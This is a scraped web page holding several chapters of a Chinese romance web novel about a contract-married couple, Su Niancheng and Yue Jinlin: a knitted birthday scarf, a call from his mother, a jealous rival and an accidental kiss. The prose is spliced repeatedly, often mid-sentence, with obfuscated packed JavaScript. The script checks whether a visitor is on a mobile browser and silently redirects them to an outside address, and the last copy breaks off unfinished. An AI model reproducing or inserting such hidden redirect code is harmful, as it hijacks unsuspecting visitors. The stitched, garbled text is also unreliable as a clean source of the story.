;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306532|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也看不顺眼她啊,你别太担心,我哥不至于为了她就跟我怎么样的。” “况且,本来也是她的错,诽谤你,就是她的不对。橙子,你那么好的人,或许你们三人当中有些事情你不愿和我说,也许就是因为怕我难做,但是我早就猜了**分,那不是你的错,你很好。” 苏念橙眼眶发热,她笑着点头,“谢谢你,佩佩。” “哎哟,要哭鼻子了是不是。”何佩佩上前抱住她,“好啦,别哭嘛,快回去织围巾吧,别等到时候你男人生日都没围巾戴。” “好。” 话落,两人各自回了家。 苏念橙回到家,把毛线放到桌上,看着那卷灰色的线,心里开始盘算。 离十一月初六还有十来天,得抓紧了。 她很少织这东西,不知道能不能织好。 不过既然决定了,就得好好学。 她翻开何佩佩给她画的简易图解,拿起毛线和竹针,开始试着织。 第一针,织错了。 拆了重来。 第二针,又错了。 再拆。 她咬着嘴唇,盯着那两根竹针,跟它们较上了劲。 不知道过了多久,门被推开了。 越靳临站在门口,换了鞋走进来。看见她坐在桌边,手里拿着竹针和毛线,他愣了一下。 “干什么呢?” 苏念橙吓了一跳,下意识把手里的东西往身后藏。 “没、没什么。”她脸有点红。 越靳临看着她那副样子,嘴角弯了弯。 他走过去,在她旁边坐下,“藏什么?我看看。” 苏念橙摇摇头,“不行,现在不能看。” “为什么?” “因为……”她咬了咬嘴唇,“因为还没织好。” 越靳临愣了一下,看着她手里的毛线,忽然明白了。 “在织什么?”他问。 苏念橙,“你别问,到时候就知道了。” 越靳临笑了,伸手揉了揉她的头发。 “好,不问。”他说,“那你慢慢织,我去做饭。” 他站起来往厨房走,走了两步又回头。 “别太累,”他说,“眼睛要紧。” 第七十三章 婆婆 苏念橙点点头,“知道啦。” 厨房里很快传来炒菜的声音。 苏念橙坐在桌边,继续跟那两根竹针较劲。 嘴角却忍不住往上弯。 半小时后,饭菜端上桌。 两菜一汤,红烧肉炖得软烂,炒青菜翠绿,还有一碗紫菜蛋花汤。 苏念橙放下手里的竹针,洗了手坐到桌边。 越靳临在她对面坐下,夹了块红烧肉放到她碗里,“多吃点。” 苏念橙点点头,低头吃饭。 吃了几口,她忽然想起什么,“对了,你工地最近还忙吗?” 越靳临,“还好。怎么了?” “没什么。”苏念橙摇摇头,“就是问问。” 她其实是想知道他生日那天有没有空,但又不想问得太明显。 越靳临看了她一眼,没追问。 吃完饭,苏念橙想收拾碗筷,越靳临拦住了她。 “我来洗。”他站起来,把碗筷收进厨房,“你去织你的围巾。” 苏念橙脸一红,“你怎么知道是围巾?” 越靳临回头看了她一眼,嘴角弯了弯,“猜的。” 苏念橙咬了咬嘴唇,没说话,坐回桌边拿起竹针。 可心里却想着,他怎么一猜就准? 厨房里传来哗哗的水声。 苏念橙低头继续织,一针一针,比刚才顺了些。 正织着,客厅角落的电话忽然响了。 她愣了一下,抬头看过去。 那台黑色的电话机放在小几上,铃声急促地响着。 越靳临在厨房里喊,“念橙,帮我接一下。” 苏念橙放下竹针,走过去拿起话筒。 “喂,你好?” 电话那头沉默了一秒,然后传来一个温柔的女声。 “你好,请问越靳临在家吗?” 苏念橙愣了一下,“是的。请问您是……找靳临吗?” 那边又沉默了一瞬,然后那个女声带了点笑意。 “你是念橙吧?” 苏念橙愣住了,“我是。您是……” “我是临儿的母亲。”那边的声音温和得很,“也是你婆婆。” 苏念橙脑子里嗡的一声。 婆婆。 越靳临的妈妈。 她攥紧话筒,下意识站直了身子,“原、原来是妈妈呀!妈妈您好!” 那边传来轻轻的笑声,“好孩子,别紧张。” 苏念橙这才意识到自己声音都抖了,脸腾地红了。 她深吸一口气,努力让自己的声音稳下来,“妈妈,您最近身体还好吗?靳临说您在医院工作特别忙,一直没时间回来。” 宋云袖嗯了一声,“是挺忙的。京海这边病人多,走不开。一直想回去看看你,可就是抽不出空。” 她顿了顿,语气里带着歉意,“念橙啊,你别怪妈妈。等忙完这阵子,我一定回去。” 苏念橙赶紧说,“妈妈您别这么说,工作要紧。我和靳临都挺好的,您不用担心。” “那就好。”宋云袖笑了,“听你这说话,是个懂事的孩子,临儿有你是他的福气。” 苏念橙被夸得不好意思,耳朵尖都红了。 宋云袖忽然叹了口气,“说起来,我这当婆婆的实在不称职。你们结婚这么久,我都没回去看看。靳临那孩子也是,连个婚礼都没给你办。他怎么回事?这么大的事也不跟我说一声。” 苏念橙愣了一下,还没想好怎么接话,忽然感觉身后有人走过来。 她回过头。 越靳临站在她身后,手还湿着,应该是刚从厨房出来。 两人对视了一眼。 苏念橙咬了咬嘴唇,对着话筒说,“妈妈,没事的。等您回来再办也是一样的。” 她说这话的时候,眼睛一直看着越靳临。 越靳临看着她,眼里闪过一丝复杂的情绪。 电话那头,宋云袖又叹了口气,“你这孩子,真会说话。可我这心里过意不去。靳临呢?他在不在?” 苏念橙把话筒递过去,“妈妈找你。” 越靳临接过来,声音低沉,“妈。” 宋云袖的声音一下子变了,带着点责备,“靳临,你怎么回事?结婚这么大的事,连个婚礼都不给人家办?念橙多好的姑娘,你就这么委屈人家?” 越靳临听着,没辩解,只是嗯了一声。 宋云袖继续数落,“我跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306533|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你讲,你要是敢欺负念橙,我第一个不答应。她一个人在省城,无依无靠的,你不对她好谁对她好?婚礼的事你给我抓紧,等我回去必须看到你们办得风风光光的。” 越靳临又嗯了一声,“知道了。” “知道就好。”宋云袖语气缓了缓,“把电话给念橙,我再跟她说两句。” 越靳临把话筒递回去。 苏念橙接过来,“妈妈?” 宋云袖的声音又变得温柔起来,“念橙啊,靳临要是欺负你,你就告诉妈妈。妈妈替你收拾他。” 苏念橙看了越靳临一眼,他正低头看着她。 她笑了笑,“妈妈,他对我挺好的。您别担心。” “那就好。”宋云袖说,“行了,不早了,你们早点休息。我这边还有事,改天再打给你们。” “好,妈妈再见。” “再见。” 电话挂断了。 苏念橙把话筒放回去,长长出了口气。 她抬起头,对上越靳临那双黑沉沉的眼睛。 “你妈妈……”她顿了顿,“人真好。” 越靳临看着她,嘴角微微弯了弯,“嗯。” 苏念橙被他看得有点不自在,低下头,“那个……我去织围巾了。” 她转身往桌边走,刚迈出一步,手就被拉住了。 她回过头。 越靳临站在她面前,低头看着她。 “念橙。” “嗯?” 他沉默了两秒,忽然开口,“刚才那话,你是认真的吗?” 苏念橙愣了一下,“什么话?” “等妈回来再办婚礼。”他看着她的眼睛,“你是认真的,还是哄她的?” 苏念橙愣住了。 她没想到他会问这个。 她刚才说那话,确实有糊弄的成分。 毕竟他们只是协议结婚,办什么婚礼? 可看着他认真看着她的样子,她忽然说不出糊弄这两个字。 “我……”她咬了咬嘴唇,“我不知道。” 越靳临看着她,没说话。 苏念橙低下头,盯着自己的鞋尖,“咱们的事,不是说好了慢慢来吗?婚礼什么的……太早了。” 第七十四章 生日 越靳临沉默了几秒。 “好。”他说,“那就慢慢来。” 他松开手,揉了揉她的头发,“去织围巾吧。” 苏念橙点点头,转身往桌边走。 走了两步,她又回过头。 他站在原地,正看着她。 她忽然想起什么,“对了,你妈妈叫什么名字?我刚才都不知道怎么称呼。” 越靳临嘴角弯了弯,“宋云袖。京海医院的外科宋主任。” 苏念橙在心里记下,点点头,“记住了,妈妈真厉害。” 先前老太太就同她说过宋云袖是京海的外科医生,现如今她再葱越靳临口中听到,还是觉得厉害。 在这个年代,外科女医生还是比较少的。 越近临听到她自然又软糯的口吻,黑眸里满是温柔,“嗯,妈她的确是一位特别出色的女性。你也会是的。” 闻言,苏念橙心尖一顿,她眨眨眼,笑的梨涡浅浅,“谢谢你夸我呀。” “不客气。”越靳临笑意更浓了些。 苏念橙坐回桌边,心里砰砰跳,拿起竹针继续织。 越靳临去了厨房,继续洗碗。 屋里安静下来,只有水声和偶尔的竹针碰撞声。 苏念橙织着织着,脑子里却还想着刚才那通电话。 他妈妈的声音真温柔,人也很好。 还说替她收拾越靳临。 她想着,嘴角忍不住弯了弯。 可又想到刚才越靳临问的那句话,心里有点乱。 婚礼。 她从来没想过自己会办婚礼。 在乡下的时候,她最大的愿望就是离开那个家,有个自己的地方住。 后来遇见越靳临,她有了地方住,有了饭吃,还有人对自己好。 已经很好了。 婚礼什么的,太遥远了。 她摇摇头,把这些念头甩开,专心织围巾。 没一会儿,越靳临洗完碗出来,在她对面坐下。 他拿起书,低头看起来。 苏念橙偷偷看了他一眼。 他坐在昏黄的灯光下,侧脸线条硬朗,眉眼低垂,看得很认真。 她收回目光,继续织。 织了一会儿,她忽然想起什么。 “对了,”她抬起头,“你生日那天,有什么特别想吃的吗?” 越靳临手顿了顿,抬头看她。 “你做的都行。”他说。 苏念橙想了想,“那……我给你做顿好的。红烧肉、糖醋排骨,再做个汤。” 越靳临嘴角弯了弯,“好。” 苏念橙笑了,低头继续织。 心里却在盘算,那天得早点去菜市场,买最新鲜的肉和菜。 还要给他织好这条围巾。 再给他买个蛋糕! 转眼到了十一月初六。 这天刚好周六,苏念橙起了个大早。 她轻手轻脚下楼,厨房里照常飘着香味,越靳临系着围裙站在灶台前。 她没像往常那样去洗漱,而是走过去,站在他身后。 “越靳临。” 他回过头。 苏念橙从背后拿出那条织好的围巾,递到他面前,眼睛亮亮的。 “生日快乐。” 越靳临愣住了。 蓝白相间的围巾,织得整整齐齐,针脚细密,一看就是用了心的。 他低头看着那条围巾,沉默了几秒。 “你织的?” 苏念橙点点头,脸有点红,“织得不好,你别嫌弃。” 越靳临伸手接过围巾,手指摩挲着那柔软的毛线,心里像被什么东西轻轻撞了一下。 他抬起头,看着她。 她站在晨光里,白皙的脸蛋粉粉的,杏眸亮亮的,带着点期待,又带着点紧张。 “谢谢丫头。”他说,声音低沉,“我很喜欢。” 苏念橙笑了,梨涡浅浅的,“真的吗?那你戴上试试。” “好。”他把围巾递给她,“帮我戴。” 苏念橙接过来,踮起脚尖,把围巾绕在他脖子上。 他微微低下头,配合着她。 两人离得很近,近到能闻见彼此身上的味道。 她手指绕过他的脖颈,把围巾整理好,指尖不小心碰到他的下巴,粗糙的触感让她心跳漏了一拍。 戴好了。 她退后一步,看着他。 蓝白相间的围巾衬着他那张棱角分明的脸,意外的合适。 “好看。”她点点头,“真帅气。” 越靳临低头看着她,嘴角弯了弯。 他从抽屉拿出个东西,递到她面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313039|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也是一条围巾。 黄白相间的,毛线软软的,织得也很整齐。 苏念橙愣住了。 “这……”她抬起头看他。 越靳临看着她,“不是我织的,是我买的。但我觉得,它跟你给我织的那条很般配。” 他往前走了一步,把围巾绕在她脖子上,仔细整理好。 “你生日给我送围巾呀?”苏念橙仰着脸看他,眼睛亮亮的。 越靳临低头看着她,“我是寿星,我说了算。” 苏念橙忍不住笑了。 两条围巾,一蓝一黄,站在一起,确实挺般配的。 她正想说什么,客厅角落的电话忽然响了。 越靳临走过去接起来,“喂?” 那头传来老太太中气十足的声音,“靳临啊,生日快乐!” 越靳临嗯了一声,“谢谢奶奶。” 老太太继续絮叨,“今天你生日,奶奶在大院给你做了些菜,你带念橙回来吃。叫上文静他们,一块儿热闹热闹。” 越靳临犹豫了一下,看向苏念橙。 苏念橙走过来,小声说,“快答应奶奶呀。” 越靳临这才开口,“好,我们一会儿过去。” “这就对了!”老太太满意了,“快点啊,菜都备好了。” 电话挂断。 苏念橙看着他笑,“走吧,去大院。” 越靳临看着她,“你不是想单独给我过吗?” 苏念橙眨眨眼,“奶奶也想给你过呀。大家一起热闹,挺好的。” 越靳临伸手揉了揉她的头发,“好。” 两人收拾了一下,围上新围巾,出门。 天已经冷了,风刮在脸上凉飕飕的。 越靳临骑着摩托车,苏念橙坐在后座,搂着他的腰。 两条围巾在风里轻轻飘着。 到了军区大院,老太太早就在门口等着了。 看见两人下车,她眼睛一亮。 “哎哟,这小两口,围巾挺好看!”她走过来,拉着苏念橙的手,“念橙,你织的?” 苏念橙点点头,“嗯,给靳临织的。” 老太太笑得合不拢嘴,“好孩子,真有心。”她又看向越靳临,“你那围巾也是念橙织的?” 越靳临摇摇头,“我买的。” 第七十五章 妻管严 老太太愣了一下,随即笑得更欢了,“行啊你小子,知道给媳妇儿买东西了。” 她拉着两人往里走,“快进屋,外头冷。文静他们一会儿就来。” 越靳靳嗯了一下。 屋里已经烧了炉子,暖烘烘的。 老太太张罗着倒水拿点心,苏念橙帮着打下手。 不一会儿,门被推开了。 周文静和蒋毅明裹着厚棉袄进来,手里拎着东西。 “越哥,生日快乐!”周文静把一包东西递过来,“给你买的,一瓶好酒。” 蒋毅明也递过来一个纸包,“我这是自家做的卤味,下酒正好。” 越靳临接过来,“谢了。” 两人刚坐下,门又被推开了。 陈芳婷站在门口,穿着件素色的厚外套,脸被风吹得有点红。 她手里拎着个精致的盒子,走过来递给越靳临。 “靳临哥,生日快乐。”她笑了笑,“从国外带回来的巧克力,一直没舍得吃,给你留着呢。” 越靳临接过来,“谢谢。” 陈芳婷目光在他身上转了一圈,落在那条蓝白相间的围巾上,顿了一下。 然后又看向苏念橙,她脖子上那条黄白相间的围巾,跟越靳临那条配得很。 她笑了笑,没说话,在周文静旁边坐下。 老太太招呼着,“人都齐了,咱们开始做饭吧。今天人多,得多做几个菜。” 几个人都站起来,往厨房走。 苏念橙也站起来,想去帮忙,被老太太按回椅子上。 “你坐着,今天你是寿星媳妇儿,不用干活。” 苏念橙脸一红,“奶奶,我帮帮忙吧——” “不用不用。”老太太摆摆手,“有文静和芳婷呢,你陪着靳临说话。” 苏念橙只好坐下。 厨房里很快传来切菜炒菜的声音,热闹得很。 越靳临坐在她旁边,手里拿着周文静送的那瓶酒看着。 苏念橙偷偷看了他一眼。 他低着头,侧脸在炉火的映照下格外好看。 她忽然想起什么,站起来,“我去拿个东西。” 她推门出去,过了好一会儿才回来,手里拎着个大盒子。 越靳临看着她,“什么?” 苏念橙把盒子放到桌上,打开。 是一个蛋糕。 白色的奶油,上面用红字写着“生日快乐”,边上还裱着几朵小花。 “我昨天订的。”她抬起头,看着他笑,“本来想晚上单独给你过的时候吃,现在正好。” 越靳临看着那个蛋糕,心里软成一团。 他伸手,揉了揉她的头发,“谢谢。” 苏念橙脸红了,“谢什么,应该的。” “嗯,贵不贵?” “当然不贵啦。”苏念橙梨涡浅笑。 越靳临心里软的一塌糊涂,他轻笑嗯了一声。 厨房里,几个人忙活着。 陈芳婷站在灶台前切菜,动作利落。 周文静在旁边洗菜,看了她一眼。 “芳婷,你没事吧?” 陈芳婷手顿了顿,“没事啊,怎么了?” 周文静犹豫了一下,“没什么,就是觉得你今天话少。” 陈芳婷笑了笑,“做饭呢,说什么话。” 周文静没再追问。 饭菜很快端上桌,满满一桌,有鱼有肉,热气腾腾的。 老太太招呼大家坐下,苏念橙把蛋糕摆到中间,插上蜡烛。 “点蜡烛。”她划了根火柴,把蜡烛一一点燃。 火光摇曳,映着每个人的脸。 老太太带头唱起生日歌,几个人跟着唱,苏念橙也唱,眼睛亮亮的。 越靳临坐在那儿,看着那一圈人,黑眸最后落在苏念橙脸上。 她唱得认真,脸红红的,比蛋糕上的奶油还甜。 歌唱完了,苏念橙催他,“快许愿。” 越靳临低下头,闭上眼睛。 过了一会儿,他睁开眼,吹灭蜡烛。 几个人鼓起掌来。 这时,客厅角落的电话响了。 老太太去接,说了几句,笑着喊,“靳临,你妈和你妹!” 越靳临走过去,接过话筒。 那头传来宋云袖温柔的声音,“临儿,生日快乐。” 旁边还夹杂着越靳雪活泼的声音,“哥!生日快乐!我还没放假呢,回不去,等我寒假回去给你补礼物!” 越靳临嘴角弯了弯,“谢谢妈,谢谢小雪。” 宋云袖又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313040|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了几句,让他好好对念橙,然后把电话挂了。 越靳临回到桌边,苏念橙看着他,“妈妈和妹妹?” 他点点头,“嗯,打电话来说生日快乐。” 苏念橙笑了,“真好。” 蒋毅明在旁边起哄,“越哥,今天你生日,咱们得喝几杯!” 他开了那瓶酒,给越靳临和自己满上。 周文静瞪他,“你少喝点。” 蒋毅明嘿嘿笑,“今天高兴,多喝点怎么了?” 越靳临端着酒杯没动,他偏头看向苏念橙,似要证书她的意见。 蒋毅明注意到,大笑起来,“怎么?越哥,你妻管严呢?还得征求嫂子意见啊?” 苏念橙笑了笑,她现在被调侃多了,脸皮没那么薄,“喝吧,大寿星,不过也少喝点。” 男人闻言轻笑一声,心情似乎格外好,“好。” 他这才和蒋毅明碰了杯,一饮而尽。 陈芳婷坐在旁边,看完这一幕,心里很酸涩,她也倒了杯酒,默默喝着, 苏念橙注意到她,心里有点复杂,但没说什么。 一顿饭吃了很久,说说笑笑的。 吃完饭,天已经黑了。 几个人围着炉子喝茶聊天,陈芳婷坐在边上,话不多,一杯接一杯地喝茶。 喝到后来,她脸色有点白,站起来往外走。 “我出去透透气。” 周文静想跟,被她拦住了,“没事,就一会儿。” 她推门出去。 苏念橙看着她的背影,犹豫了一下,站起来跟出去。 外头冷得很,风呼呼地吹。 院子里那棵老梧桐树光秃秃的,枝丫伸向灰蒙蒙的天。 陈芳婷站在树下,背对着门。 听见脚步声,她回过头。 看见是苏念橙,她愣了一下,随即扯了扯嘴角。 “你跟出来做什么?” 苏念橙走过去,站在她旁边,“你没事吧?” 陈芳婷没说话,只是看着她。 月光照在她脸上,眼眶红红的。 “苏念橙。”她忽然开口,声音有点抖,“你抢走靳临哥,是不是很得意?” 苏念橙愣住了。 “我没有——”她下意识想解释。 第七十六章 替身 陈芳婷打断她,“别装了。” 她靠在树干上,眼泪终于掉下来。 “你知道我喜欢他多久了吗?”她声音发颤,“从小我就喜欢他。我出国三年,天天想他。我以为我回来就能……” 她说不下去了。 苏念橙站在那儿,心里五味杂陈。 她想说,她和越靳临只是协议结婚,可话到嘴边,又咽了回去。 越靳临和她说过的,他只把陈芳婷当妹妹。 陈芳婷看着她,眼泪还在流。 “你别得意。”她咬着嘴唇,“靳临哥不喜欢我,也不可能喜欢你。” 苏念橙愣了下,没反应过来什么意思。 陈芳婷看着她,眼里带着点复杂的情绪。 “他有一个白月光,一直藏在心里。”她一字一顿,“从来没有人能走进他心里。你以为他对你好,是因为喜欢你?别傻了。你很有可能,只是个替身罢了。” 苏念橙脑子里嗡的一声。 风呼呼地吹,刮得脸生疼,可她站在那儿,像被人钉在地上。 陈芳婷看着她那副样子,抹了把眼泪,扯了扯嘴角。 “怎么?不信?”她往前走了一步,声音低下去,“靳临哥衣柜里有一条连衣裙,一直留着。从没见人穿过,也从没见他丢过。你以为那是谁的?” 苏念橙张了张嘴,没说出话来。 陈芳婷看着她,眼里带着点说不清的复杂,“你不信可以去翻。就在他老宅,他房间里。他以前住的那屋,现在虽然搬出去了,但那裙子还在。” 她说完,转身就走。 走了几步,又回过头。 “苏念橙,”她声音发颤,“我不是要挑拨你们。我就是……就是不甘心。我等了他三年,回来什么都没了。你才认识他多久?凭什么?” 她没等苏念橙回答,转身消失在夜色里。 苏念橙站在原地,风吹得她头发乱飞。 脑子里乱成一团。 连衣裙。 白月光。 替身。 这些词在脑子里转来转去,嗡嗡作响。 她不知道自己站了多久,直到身后传来周文静的声音。 “念橙?你怎么在外头?芳婷呢?” 苏念橙回过神,转过头。 周文静站在门口,裹着棉袄,脸上带着疑惑。 “她……她先回去了。”苏念橙听见自己的声音,干巴巴的,“说有点不舒服。” 周文静皱了皱眉,“这丫头,怎么也不说一声。”她走过来,挽住苏念橙的胳膊,“外头冷,快进屋。越哥他们还在喝呢。” 苏念橙有些失神地嗯了一声,然后被她拉着往里走。 屋里暖气充足,她瞬间觉得暖起来。 越靳临和蒋毅明还坐在桌边,面前摆着空酒瓶。 蒋毅明脸通红,说话舌头都大了,正跟越靳临絮叨什么。 越靳临靠在椅背上,手里还端着酒杯,脸也红了,但看着比蒋毅明清醒些。 老太太在旁边收拾碗筷,看见苏念橙进来,笑着招呼,“念橙,快来坐。这俩小子喝得差不多了,等会儿让他们歇着。” 苏念橙走过去,在越靳临旁边坐下。 他偏过头,看着她。 那双黑沉沉的眼睛里带着点醉意,亮亮的。 往日都是冷冷淡淡的,此刻他俊俏的脸庞,有些许红晕,反差十足,莫名的可爱感。 “去哪儿了?”他问,声音比平时低,有点哑。 苏念橙摇摇头,“没去哪儿,出去透透气。” 越靳临看着她,没说话。 蒋毅明在旁边忽然拍了下桌子,“越哥!再来一杯!今天你生日,咱们不醉不归!” 周文静走过去,一把夺过他手里的酒杯,“归什么归,你看看你那样儿。”她看向老太太,“奶奶,我们先回去了。毅明喝成这样,得赶紧弄回家。” 老太太点点头,“行,路上慢点。让念橙帮你们送送,她没喝酒。” 周文静摆摆手,“不用不用,就几步路。奶奶你们早点歇着。” 她扶着蒋毅明站起来,蒋毅明还嚷嚷着要喝,被周文静瞪了一眼,老实了。 两人出了门。 屋里安静下来。 老太太看看越靳临,又看看苏念橙,笑着说,“今晚就别回去了,住奶奶这儿。靳临这样子,骑摩托车不安全。” 苏念橙犹豫了一下,看向越靳临。 他靠在椅背上,闭着眼睛,脸微微泛红。 她点点头,“好,麻烦奶奶了。” 老太太摆摆手,“麻烦什么,房间多着呢。”她站起来,“我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313041|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你收拾一下。靳临那屋还空着,你们就住那儿吧。” 苏念橙愣了一下,“奶奶,我们……” 老太太没等她说完,已经上楼了。 苏念橙坐在那儿,看着越靳临。 他还闭着眼,眉头微微皱着,像是睡着了。 她站起来,走过去,轻轻推了推他。 “越靳临,上楼睡。” 他睁开眼,看着她。 那双眼睛还是亮亮的,但比平时多了点不一样的东西。 “嗯。”他站起来,身子晃了一下。 苏念橙赶紧扶住他,“小心。” 他低头看着她,忽然笑了。 “没事。”他说,声音低低的,“走吧。” 苏念橙扶着他上楼。 楼梯窄,他步子大,走得不稳。 她紧紧扶着他的胳膊,怕他摔了。 走到二楼,老太太从一间屋里出来,“就这间,床铺好了。早点睡吧。” 苏念橙点点头,“谢谢奶奶。” 老太太摆摆手,进了隔壁房间。 苏念橙扶着越靳临推开门。 屋里不大,一张床,一个衣柜,一张桌子,两把椅子。 收拾得干干净净。 她扶着他往床边走。 刚走到床边,脚底下不知道被什么绊了一下,她整个人往前栽。 “啊——” 她惊叫一声,下意识想抓住什么。 可来不及了。 她直直扑下去,倒在越靳临身上。 嘴唇贴上什么温热柔软的东西。 她愣住了。 他的嘴唇。 她的嘴唇。 贴在一起。 时间像静止了。 她睁大眼睛,对上他那双黑沉沉的眼睛。 那双眼睛也睁着,看着她。 近在咫尺。 她能看见他睫毛的弧度,能闻到他呼吸里淡淡的酒气。 脑子里一片空白。 心跳快得像要从嗓子眼蹦出来。 她僵在那儿,忘了动。 他也忘了动。 就那么贴着。 一秒。 两秒。 三秒。 苏念橙终于回过神来,猛地撑起身子。 “对、对不起——”她声音都在抖,脸烫得像烧起来,“我不是故意的——” 话没说完,手腕被握住了。 第七十七章 初吻 苏念橙愣住了。 他的手心干燥温热,指节有力,握着她的手腕,没松。 “念橙。”他叫她的名字,声音低低的,哑哑的。 苏念橙心跳漏了一拍。 “嗯?” 他看着她,沉默了几秒,忽然闭上眼睛。 握着她的手也松开了。 苏念橙愣了一下,凑近看了看。 他睡着了。 呼吸平稳,眉头舒展,嘴角还微微弯着。 她松了口气,又觉得有点好笑。 喝醉了的人,真是什么都干得出来。 她轻轻抽回手,坐起来,看着他。 床头的台灯亮着昏黄的光,照在他脸上。 俊俏的脸庞此刻有些红晕,睫毛在眼下投出一小片阴影。 她忽然想起刚才那个吻。 虽然是不小心碰上的,但那也是她的初吻。 她咬了咬嘴唇,脸又烫了。 别想了别想了。 她摇摇头,站起来,把被子给他盖好。 转身想走,杏眸却落在屋里那个老式衣柜上。 棕红色的木头,门板上雕着简单的花纹,一看就是用了很多年的老物件。 她想起陈芳婷说的话。 有一条连衣裙,一直留着。从没见人穿过,也从没见他丢过。 这个房间是越靳临的。 从装修风格就能看出来,简单冷硬,跟他本人很像。 那衣柜里…… 苏念橙站在那儿,犹豫了几秒。 她知道不该翻人家的东西。可那个念头像生了根,怎么也压不下去。 她深吸一口气,走过去,轻轻拉开柜门。 柜子里整整齐齐挂着几件衣服,都是深色的,工装、衬衫、外套。旁边叠着几件毛衣和裤子。 最里头,挂着一件裙子。 苏念橙愣住了。 粉色的底,领口缀着细细的荷叶边。 款式很老,一看就是好多年前的。而且尺寸很小,像是七八岁孩子穿的。 她伸手摸了摸,布料已经有些旧了,但洗得很干净,叠得整整齐齐。 她盯着那条裙子,脑子里闪过一个念头。 越靳临的白月光,是个小孩? 这……这也太…… 她摇摇头,把那荒唐的念头甩开。 可这裙子是谁的?他为什么一直留着? 陈芳婷说,那是他心里的人。 可这尺寸,分明是个孩子穿的。 苏念橙站在衣柜前,脑子里乱成一团。 她想起陈芳婷说的话,“你以为他对你好,是因为喜欢你?别傻了。你很有可能,只是个替身罢了。” 替身? 替一个七八岁的小孩? 这怎么可能? 她咬了咬嘴唇,把裙子轻轻放回去,关上柜门。 转过身,看着床上熟睡的男人。 他侧躺着,脸朝着她这边,眉头舒展,睡得很安稳。 她走过去,在床边坐下,看着他。 那张脸,她看了快两个月了。从一开始的陌生,到现在的熟悉。 他话不多,但对她很好。给她地方住,给她找工作,给她做饭,给她买衣服买手表买自行车。她受伤了,他带她去诊所。她被欺负了,他替她撑腰。 那些好,是真的。 可那些好,是不是给别人的? 她盯着他看了很久,最后叹了口气。 算了,明天问他吧。 她不是那种把话憋在心里的人。 反正她的人生已经过的那么憋屈了。 所以有什么误会,说开就好了。 她站起来,绕到床的另一边,轻轻躺下。 床很大,她睡在最边上,中间隔着能躺下两个人的距离。 她盯着天花板,脑子里还在想那条裙子。 粉色的,荷叶边。 总觉得有点眼熟,好像在哪里见过。 可她想不起来了。 今夜无风,四周格外的安静,只能淡淡的听到彼此的呼吸声,安逸的很。 她翻了个身,闭上眼睛。 不知道过了多久,她终于迷迷糊糊睡着了。 第二天早上,苏念橙是被阳光晃醒的。 她睁开眼,愣了一下。 她不知道什么时候翻了身,脸正对着床边。 不对。 她眨了眨眼,发现自己正躺在一个温热的怀抱里。 越靳临侧躺着,一只手揽着她的腰,把她整个人圈在怀里。 他的下巴抵在她头顶,呼吸平稳,还没醒。 苏念橙僵住了。 她脸腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 